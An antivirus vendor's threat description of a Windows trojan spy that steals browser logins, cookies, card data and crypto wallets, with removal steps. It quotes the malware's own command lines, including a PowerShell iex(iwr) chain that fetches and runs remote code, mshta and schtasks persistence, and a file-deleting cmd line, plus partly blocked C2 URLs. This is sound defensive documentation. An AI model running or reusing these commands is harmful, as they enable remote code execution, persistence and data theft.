TrojanSpy.P97M.VALYRIA.YXBEZ
W97M/Downloader.doj (NAI)
Windows

Threat Type: Trojan Spy
Destructiveness: No
Encrypted: No
In the wild: Yes
OVERVIEW
Downloaded from the Internet, Dropped by other malware
This Trojan Spy arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
It downloads a file from a certain URL then renames it before storing it in the affected system.
It connects to certain websites to send and receive information.
TECHNICAL DETAILS
10,254 bytes
Other
Yes
26 May 2021
Drops files, Deletes files, Connects to URLs/IPs, Steals information, Collects system information
Arrival Details
This Trojan Spy arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
Installation
This Trojan Spy adds the following folders:
- where stolen information is stored/copied to:
- %ProgramData%\{randomly generated number}
- %ProgramData%\{randomly generated number}\cc
- %ProgramData%\{randomly generated number}\autofill
- %ProgramData%\{randomly generated number}\cookies
- %ProgramData%\{randomly generated number}\crypto
(Note: %ProgramData% is a version of the Program Files folder where any user on a multi-user computer can make changes to programs. This contains application data for all users. This is usually C:\ProgramData on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit), or C:\Documents and Settings\All Users on Windows Server 2003(32-bit), 2000(32-bit) and XP.)
It drops the following files:
- where gathered information is stored:
- %ProgramData%\{randomly generated number}\{application}
- %ProgramData%\{randomly generated number}\passwords.txt
- %ProgramData%\{randomly generated number}\temp
- %ProgramData%\{randomly generated number}\system.txt → gathered system information
- %ProgramData%\{randomly generated number}\screenshot.jpg → screenshot of current display
- where gathered information is archived before exfiltrated:
- %ProgramData%\{randomly generated number}\_{randomly generated number}.zip
(Note: %ProgramData% is a version of the Program Files folder where any user on a multi-user computer can make changes to programs. This contains application data for all users. This is usually C:\ProgramData on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit), or C:\Documents and Settings\All Users on Windows Server 2003(32-bit), 2000(32-bit) and XP.)
It adds the following processes:
- "%System%\mshta.exe" "http://www.j.mp/{redirection to specific number}"
- "%System%\WindowsPowerShell\v1.0\powershell.exe" i'E'x(iwr('https://i{BLOCKED}.us.archive.org/26/items/120-Crypted-03-June/{number}-1.txt') -useB);i'E'x(iwr('https://i{BLOCKED}.us.archive.org/26/items/120-Crypted-03-June/{number}-2.txt') -useB);i'E'x(iwr('https://i{BLOCKED}.us.archive.org/26/items/120-Crypted-03-June/{number}-3.txt') -useB);
- starts the following processes:
- %Windows%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
- %Windows%\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
- starts the following processes:
- "%System%\schtasks.exe" /create /sc MINUTE /mo 80 /tn ""SECOTAKSA"" /F /tr ""\""MsHtA""\""http://1230948%{BLOCKED}x.blogspot.com/p/{number}.html\"
- #cmd
- "{path}"
- "%System%\cmd.exe" /c taskkill /pid {PID of injectedaspnet_compiler.exe } & erase %Windows%\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe & RD /S /Q %ProgramData%\{randomly generated number}\* & exit
It injects codes into the following process(es):
- %Windows%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
- %Windows%\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
(Note: %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.)
Other System Modifications
This Trojan Spy deletes the following files:
- after exfiltration:
- %ProgramData%\sqlite3.dll
- %ProgramData%\freebl3.dll
- %ProgramData%\mozglue.dll
- %ProgramData%\msvcp140.dll
- %ProgramData%\nss3.dll
- %ProgramData%\softokn3.dll
- %ProgramData%\vcruntime140.dll
- %Windows%\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
(Note: %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.)
It deletes the following folders:
- after exfiltration:
- %ProgramData%\{randomly generated number}
- %ProgramData%\{randomly generated number}\cc
- %ProgramData%\{randomly generated number}\autofill
- %ProgramData%\{randomly generated number}\cookies
- %ProgramData%\{randomly generated number}\crypto
(Note: %ProgramData% is a version of the Program Files folder where any user on a multi-user computer can make changes to programs. This contains application data for all users. This is usually C:\ProgramData on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit), or C:\Documents and Settings\All Users on Windows Server 2003(32-bit), 2000(32-bit) and XP.)
Download Routine
This Trojan Spy downloads files from the following URLs then renames them before storage in the affected system:
- Short URLs of initial connection:
- http://www.j.mp/{redirection to specific resource}
- http://bit.ly/{redirection to specific resource}
- redirected to:
- https://{BLOCKED}.blogspot.com/p/{number}.html → remote executes powershell/schtask for persistence
- redirected to:
- https://{BLOCKED}63-7ecd-45e2-9eab-f8d98aab177f.{BLOCKED}es.com/ugd/73cceb_4906e68401a54bdf99cdcca2ef189f9d.txt → connects to the following URLs which downloads files and executes kuchb.vbs
- https://{BLOCKED}63-7ecd-45e2-9eab-f8d98aab177f.{BLOCKED}es.com/ugd/73cceb_c28bcff4b4ac4d648a44cba2612ce3a6.txt → clone.vbs
- https://{BLOCKED}63-7ecd-45e2-9eab-f8d98aab177f.{BLOCKED}es.com/ugd/73cceb_d6327f9589c84101ad8724c9d6eaea23.txt → kuchb.vbs
- https://{BLOCKED}63-7ecd-45e2-9eab-f8d98aab177f.{BLOCKED}es.com/ugd/73cceb_8c96b0913b2d43038ded2f06e3ee527b.txt → batman.bat
It saves the files it downloads using the following names:
- %Public%\batman.bat → starts clone.vbs
- %Public%\kuchb.vbs → persistence for batman.bat
- %Public%\clone.vbs → disables security in infected machine
- %ProgramData%\sqlite3.dll
- %ProgramData%\freebl3.dll
- %ProgramData%\mozglue.dll
- %ProgramData%\msvcp140.dll
- %ProgramData%\nss3.dll
- %ProgramData%\softokn3.dll
- %ProgramData%\vcruntime140.dll
(Note: %Public% is the folder that serves as a repository of files or folders common to all users, which is usually C:\Users\Public in Windows Vista, 7, and 8.. %ProgramData% is a version of the Program Files folder where any user on a multi-user computer can make changes to programs. This contains application data for all users. This is usually C:\ProgramData on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit), or C:\Documents and Settings\All Users on Windows Server 2003(32-bit), 2000(32-bit) and XP.)
Information Theft
This Trojan Spy gathers the following data:
- Screenshot of current display
- System Information
- OS version
- Username
- Computer Name
- System Language
- Machine ID
- GUID
- Domain Name
- Workgroup
- Keyboard Language
- Hardware Information
- Processor
- # of Logical processors
- Videocard
- Display resolution
- RAM
- If desktop or laptop
- Local Time & Zone
- Network Information
- IP Address
- Country
- Installed Software & version
- Browser autofills, cookies & Login data from the followings:
- Amigo
- Blackhawk
- Brave
- Cent Browser
- Chromium
- CocCoc Browser
- Comodo Dragon
- CryptoTab
- Cyberfox
- Elements Browser
- Epic Privacy Browser
- Google Chrome
- IceCat
- KMeleon
- Kometa
- Maxthon5
- Mozilla Firefox
- Nichrome
- Opera
- Orbitum
- Pale Moon
- QIP Surf
- Sputnik
- TorBro
- Torch
- Uran Broswer
- Vivaldi
- Waterfox
- Email credentials:
- Thunderbird
- Outlook
- stored credit card information
- stored bitcoin wallets:
- Anoncoin
- BBQCoin
- Bitcoin
- DashCore
- Electrum
- Electrum-LTC
- Ethereum
- Exodus
- Florincoin
- Franko
- Freicoin
- GoldCoinGLD
- IOCoin
- Ixcoin
- Litecoin
- Megacoin
- Mincoin
- Multidoge
- Namecoin
- Primecoin
- Terracoin
- YACoin
- Zcash
- devcoin
- digitalcoin
- jaxx
Other Details
This Trojan Spy connects to the following website to send and receive information:
- http://{BLOCKED}.{BLOCKED}.107.28/l{number}//main.php
- http://{BLOCKED}.{BLOCKED}.107.28/l{number}/
It accesses the following websites to download its configuration/component files:
- http://{BLOCKED}.{BLOCKED}.107.28/l{number}//1.jpg
- http://{BLOCKED}.{BLOCKED}.107.28/l{number}//2.jpg
- http://{BLOCKED}.{BLOCKED}.107.28/l{number}//3.jpg
- http://{BLOCKED}.{BLOCKED}.107.28/l{number}//4.jpg
- http://{BLOCKED}.{BLOCKED}.107.28/l{number}//5.jpg
- http://{BLOCKED}.{BLOCKED}.107.28/l{number}//6.jpg
- http://{BLOCKED}.{BLOCKED}.107.28/l{number}//7.jpg
SOLUTION
9.800
16.766.08
07 Jun 2021
16.767.00
08 Jun 2021
Step 1
Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.
Step 2
Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.
Step 3
Restart in Safe Mode
Step 4
Deleting Scheduled Tasks
The following {Task Name} - {Task to be run} listed should be used in the steps identified below:
- Task Name: SECOTAKSA
- Task to be run: \MsHtA\http://1230948%{BLOCKED}x.blogspot.com/p/{number}.html\
For Windows 2000, Windows XP, and Windows Server 2003:
- Open the Windows Scheduled Tasks. Click Start>Programs>Accessories>
System Tools>Scheduled Tasks. - Locate each {Task Name} values listed above in the Name column.
- Right-click on the said file(s) with the aforementioned value.
- Click on Properties. In the Run field, check for the listed {Task to be run}.
- If the strings match the list above, delete the task.
For Windows Vista, Windows 7, Windows Server 2008, Windows 8, Windows 8.1, and Windows Server 2012:
- Open the Windows Task Scheduler. To do this:
• On Windows Vista, Windows 7, and Windows Server 2008, click Start, type taskschd.msc in the Search input field, then press Enter.
• On Windows 8, Windows 8.1, and Windows Server 2012, right-click on the lower left corner of the screen, click Run, type taskschd.msc, then press Enter. - In the left panel, click Task Scheduler Library.
- In the upper-middle panel, locate each {Task Name} values listed above in the Name column.
- In the lower-middle panel, click the Actions tab. In the Details column, check for the {Task to be run} string.
- If the said string is found, delete the task.
Step 5
Search and delete this file
- %Public%\batman.bat
- %Public%\kuchb.vbs
- %Public%\clone.vbs
Step 6
Restart in normal mode and scan your computer with your Trend Micro product for files detected as TrojanSpy.P97M.VALYRIA.YXBEZ. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.
Did this description help? Tell us how we did.